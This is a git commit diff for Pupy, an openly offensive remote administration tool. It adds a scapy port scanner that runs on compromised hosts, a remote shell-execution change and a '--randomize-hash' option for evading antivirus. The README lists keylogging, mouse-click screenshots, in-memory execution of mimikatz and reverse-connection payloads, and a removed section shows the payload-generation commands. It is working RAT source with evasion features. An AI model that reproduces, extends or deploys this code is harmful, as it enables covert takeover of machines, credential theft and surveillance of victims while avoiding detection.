Merge pull request #64 from n1nj4sec/scapy-support

Scapy support
This commit is contained in:
n1nj4sec 2016-01-19 20:16:39 +01:00
commit f40569db24
11 changed files with 105 additions and 119 deletions

3
.gitmodules vendored Normal file
View File

@ -0,0 +1,3 @@
[submodule "pupy/packages/src/scapy"]
path = pupy/packages/src/scapy
url = git://github.com/n1nj4sec/scapy.git

131
README.md
View File

@ -17,6 +17,10 @@ Pupy is an opensource, multi-platform Remote Administration Tool with an embedde
- Auto-completion for commands and arguments
- Nice colored output :-)
- Command aliases can be defined in the config
- Interactive python shells with auto-completion on the all in memory remote python interpreter can be opened
- Interactive shells (cmd.exe, /bin/bash, ...) can be opened remotely. Remote shells on Unix clients have a real tty with all keyboard signals working fine just like a ssh shell
- Pupy can execute PE exe remotely and from memory (cf. ex with mimikatz)
- tons of other features, check out the implemented modules
## Implemented Transports
- tcp_cleartext
@ -52,65 +56,17 @@ Launchers allow pupy to run custom actions before starting the reverse connectio
- in memory execution of PE exe both x86 and x64!
- works very well with [mimitakz](https://github.com/gentilkiwi/mimikatz) :-)
- socks5 proxy
- local port forwarding
- local and remote port forwarding
- shellcode exec (thanks to @byt3bl33d3r)
- keylogger
- monitor keys and the titles of the windows the text is typed into, plus the clipboard! (thanks @golind for the updates)
- mouselogger:
- takes small screenshots around the mouse at each click and send them back to the server (thanks @golind)
##Quick start
###Installation
```bash
pip install rpyc
pip install pefile
pip install pycrypto
```
####Troubleshooting
If you have some issues with rpyc while running the server on windows, take a look at issue #25, @deathfantasy made a fix
### Generate/run a payload
In these examples the server is running on a linux host (tested on kali linux) and its IP address is 192.168.0.1
The clients have been tested on (Windows 7, Windows XP, kali linux, ubuntu, Mac OS X 10.10.5)
#### for Windows
```bash
$ ./pupygen.py auto_proxy -h
usage: auto_proxy [-h] --host <host:port>
[--transport {obfs3,tcp_cleartext,tcp_ssl,tcp_base64,scramblesuit}]
...
$ ./pupygen.py -t exe_x86 auto_proxy --transport tcp_ssl --host 192.168.2.132:443
binary generated with config :
OUTPUT_PATH = ~/pupy/pupyx86.exe
LAUNCHER = 'auto_proxy'
LAUNCHER_ARGS = ['--transport', 'tcp_ssl', '--host', '192.168.2.132:443']
OFFLINE_SCRIPT = None
```
you can also:
- use another launcher (currently simple or auto_proxy)
- use -t dll_x86 or dll_x64 to generate a reflective DLL and inject/load it by your own means
- customize the transport used by supplying it with --transport
#### for Linux & Mac OS X
```bash
pip install rpyc #(or manually copy it if you are not admin)
pip install pycrypto
python pp.py simple --transport tcp_ssl --host 127.0.0.2:443
```
you can also:
- modify the default arguments at the top of the file to call pp.py without arguments
- build a single binary with pyinstaller:
```bash
pyinstaller --onefile /full_path/pupy/pupy/pp.py
```
### start the server
1. eventually edit pupy.conf to change the bind address / port
2. start the pupy server with the transport used by the client (tcp_ssl by default):
```bash
./pupysh.py --transport <transport_used>
```
##Installation
[Check out the wiki !](https://github.com/n1nj4sec/pupy/wiki/Installation)
##Documentation
[Check out the wiki !](https://github.com/n1nj4sec/pupy/wiki)
### Some screenshots
#####list connected clients
@ -133,60 +89,6 @@ pyinstaller --onefile /full_path/pupy/pupy/pp.py
#####upload and run another PE exe from memory
![screenshot9](https://github.com/n1nj4sec/pupy/raw/master/docs/screenshots/memory_exec.png "screenshot9")
##Example: How to write a MsgBox module
First of all write the function/class you want to import on the remote client
in the example we create the file pupy/packages/windows/all/pupwinutils/msgbox.py
```python
import ctypes
import threading
def MessageBox(text, title):
t=threading.Thread(target=ctypes.windll.user32.MessageBoxA, args=(None, text, title, 0))
t.daemon=True
t.start()
```
then, simply create a module to load our package and call the function remotely
```python
class MsgBoxPopup(PupyModule):
""" Pop up a custom message box """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="msgbox", description=self.__doc__)
self.arg_parser.add_argument('--title', help='msgbox title')
self.arg_parser.add_argument('text', help='text to print in the msgbox :)')
@windows_only
def is_compatible(self):
pass
def run(self, args):
self.client.load_package("pupwinutils.msgbox")
self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title)
self.log("message box popped !")
```
and that's it, we have a fully functional module :)
```bash
>> run msgbox -h
usage: msgbox [-h] [--title TITLE] text
Pop up a custom message box
positional arguments:
text text to print in the msgbox :)
optional arguments:
-h, --help show this help message and exit
--title TITLE msgbox title
```
## Dependencies
rpyc (https://github.com/tomerfiliba/rpyc)
pycrypto
pefile
yaml (only needed if using scramblesuit transport)
##Roadmap and ideas
Some ideas without any priority order
- [X] ~~make the PE memory execution works interactively~~
@ -198,13 +100,13 @@ Some ideas without any priority order
- [ ] make the python compiled C extension load from memory on linux
- [ ] make the migrate modules works on linux
- [ ] add offline options to payloads like enable/disable certificate checking, embed offline modules (persistence, keylogger, ...), etc...
- [ ] integrate scapy in the windows dll :D (that would be fun)
- [X] add scapy support in windows :D (that would be fun)
- [ ] then make some network attack/sniffing tools modules using scapy
- [ ] work on stealthiness under unix systems
- [ ] mic recording
- [ ] socks5 udp support
- [X] remote port forwarding
- [ ] add a wiki and write some documentation
- [X] add a wiki and write some documentation
- [ ] split the README into the wiki
- [ ] The backdoor factory?
- [ ] Impacket?
@ -226,15 +128,16 @@ Pupy server works best on linux. The server on windows has not been really teste
> I can't install it, how does it work?
Use pip to install all the dependencies
Have a look at the Installation section in the wiki
> I was wondering if you had a BTC address I could send a tip over to !
Sure, here you go :)
Bitcoin address: 12BKKN81RodiG9vxJn34Me9ky19ArqNQxC
> hey c4n y0u add a DDOS module plzz?
No.
> I was wondering if you had a BTC address I could send a tip over to
Sure, here you go :
Bitcoin address: 12BKKN81RodiG9vxJn34Me9ky19ArqNQxC
## Contact
by mail: contact@n1nj4.eu

24
pupy/modules/port_scan.py Normal file
View File

@ -0,0 +1,24 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
__class_name__="PortScan"
class PortScan(PupyModule):
""" run a TCP port scan """
dependencies=['portscan', 'scapy']
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="port_scan", description=self.__doc__)
self.arg_parser.add_argument('--ports','-p', default="21,22,23,80,139,443,445,3389,8000,8080", help='ports to scan ex: 22,80,443')
self.arg_parser.add_argument('address', metavar="ip/range", help='IP/range to scan')
def run(self, args):
ps=self.client.conn.modules['portscan'].PortScanner()
ports=[int(x) for x in args.ports.split(',')]
res=ps.scan(args.address, ports)
self.rawlog(res)
self.success("Scan finished !")

View File

@ -3,6 +3,7 @@
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from pupylib.PupyModule import *
from pupylib.PupyCompleter import *
from pupylib.PupyErrors import *
import StringIO
from pupylib.utils.rpyc_utils import redirected_stdo
@ -21,8 +22,10 @@ class PythonExec(PupyModule):
self.info("loading code from %s ..."%args.file)
with open(args.file,'r') as f:
code=f.read()
else:
elif args.code:
code=args.code
else:
raise PupyModuleError("--code or --file argument is mandatory")
stdout=StringIO.StringIO()
stderr=StringIO.StringIO()
try:

View File

@ -10,11 +10,11 @@ class ShellExec(PupyModule):
""" execute shell commands on a remote system """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='shell_exec', description=self.__doc__)
self.arg_parser.add_argument('argument', nargs='+')
self.arg_parser.add_argument('argument')
def run(self, args):
res=""
try:
res=self.client.conn.modules.subprocess.check_output(' '.join(args.argument), stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True, universal_newlines=True)
res=self.client.conn.modules.subprocess.check_output(args.argument, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True, universal_newlines=True)
except Exception as e:
if hasattr(e,'output') and e.output:
res=e.output

View File

@ -0,0 +1,29 @@
# -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from scapy.all import *
def format_response(pkt):
res=""
if "R" in pkt.sprintf("%TCP.flags%"):
res+="TCP/{:<7} closed {}".format(pkt[TCP].sport, pkt.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}"))
elif pkt.sprintf("%TCP.flags%")=="SA":
res+="TCP/{:<7} open {}".format(pkt[TCP].sport, pkt.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}"))
else:
res+="TCP/{:<7} filtered {}".format(pkt[TCP].sport, pkt.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}"))
return res+"\n"
class PortScanner(object):
def __init__(self):
pass
def scan(self, address, ports, timeout=4, iface=None):
res=""
ans,unans=sr(IP(dst=address)/TCP(flags="S",dport=list(ports)), verbose=False, iface=iface, timeout=timeout)
for req,resp in ans:
res+=format_response(resp)
return res
if __name__=='__main__':
p=PortScanner()
print p.scan("192.168.2.133",[443,80,22])

1
pupy/packages/all/scapy Symbolic link
View File

@ -0,0 +1 @@
../src/scapy/scapy/

@ -0,0 +1 @@
Subproject commit 8a1873646009ca9bb10fc3e0c1381ad242929ef8

View File

@ -9,6 +9,8 @@ import sys
import os.path
import re
import shlex
import random
import string
from pupylib.utils.network import get_local_ip
from network.conf import transports, launchers
from network.base_launcher import LauncherError
@ -63,6 +65,7 @@ if __name__=="__main__":
parser.add_argument('-t', '--type', default='exe_x86', choices=['exe_x86','exe_x64','dll_x86','dll_x64'], help="(default: exe_x86)")
parser.add_argument('-o', '--output', help="output path")
parser.add_argument('-s', '--offline-script', help="offline python script to execute before starting the connection")
parser.add_argument('--randomize-hash', action='store_true', help="add a random string in the exe to make it's hash unknown")
parser.add_argument('launcher', choices=[x for x in launchers.iterkeys()], default='auto_proxy', help="Choose a launcher. Launchers make payloads behave differently at startup.")
parser.add_argument('launcher_args', nargs=argparse.REMAINDER, help="launcher options")
@ -88,6 +91,8 @@ if __name__=="__main__":
if args.offline_script:
with open(args.offline_script,'r') as f:
script_code=f.read()
if args.randomize_hash:
script_code+="\n#%s\n"%''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(40))
outpath=None
conf={}
conf['launcher']=args.launcher

View File

@ -18,6 +18,22 @@ import sys
from contextlib import contextmanager
from rpyc.utils.helpers import restricted
from rpyc.utils.classic import obtain
import textwrap
def hotpatch_oswrite(conn):
""" some scripts/libraries use os.write(1, ...) instead of sys.stdout.write to write to stdout """
conn.execute(textwrap.dedent("""
import sys
import os
def patched_write(fd, s):
if fd==1:
return sys.stdout.write(s)
elif fd==2:
return sys.stdout.write(s)
else:
return os.write(fd, s)
os.write=patched_write
"""))
@contextmanager
def redirected_stdo(conn, stdout=None, stderr=None):
@ -25,6 +41,7 @@ def redirected_stdo(conn, stdout=None, stderr=None):
stdout=sys.stdout
if stderr is None:
stderr=sys.stderr
hotpatch_oswrite(conn)
orig_stdout = conn.modules.sys.stdout
orig_stderr = conn.modules.sys.stderr
try:

View File

@ -31,8 +31,8 @@ import os.path
import network.conf
__author__='Nicolas VERDIER'
__version__='v1.0.3-alpha'
__date__='Oct 29 2015'
__version__='v1.0.4'
__date__='Jan 16 2016'
def print_version():
print("Pupy - %s"%(__version__))